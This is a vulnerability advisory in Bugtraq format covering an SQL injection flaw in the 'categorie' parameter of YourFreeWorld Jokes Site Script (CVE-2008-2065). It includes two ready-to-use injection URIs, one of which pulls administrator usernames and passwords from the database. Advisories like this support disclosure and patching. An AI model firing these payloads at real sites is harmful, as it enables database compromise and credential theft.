YourFreeWorld Jokes Site Script 'categorie' Parameter SQL Injection Vulnerability

Bugtraq ID:	28963
Class:	Input Validation Error
CVE:	CVE-2008-2065
Remote:	Yes
Local:	No
Published:	Apr 28 2008 12:00AM
Updated:	May 07 2015 05:29PM
Credit:	ProgenTR, Hussin X
Vulnerable:	YourFreeWorld Jokes Site Script 0
Not Vulnerable:

YourFreeWorld Jokes Site Script 'categorie' Parameter SQL Injection Vulnerability

YourFreeWorld Jokes Site Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

YourFreeWorld Jokes Site Script 'categorie' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/jokesite/jokes.php?catagorie=-1%20union%20select%201,convert(concat(database(),char(58),user(),char(58),version()),char)/*

http://www.example.com/jokes.php?catagorie=-5+UNION+SELECT+1,concat(0x3a,Username,0x3a,Password)+from+adminsettings--

YourFreeWorld Jokes Site Script 'categorie' Parameter SQL Injection Vulnerability

Solution:
The vendor has released an update. Please contact the vendor for details.

YourFreeWorld Jokes Site Script 'categorie' Parameter SQL Injection Vulnerability

References:

• Jokes Site Script Homepage (YourFreeWorld)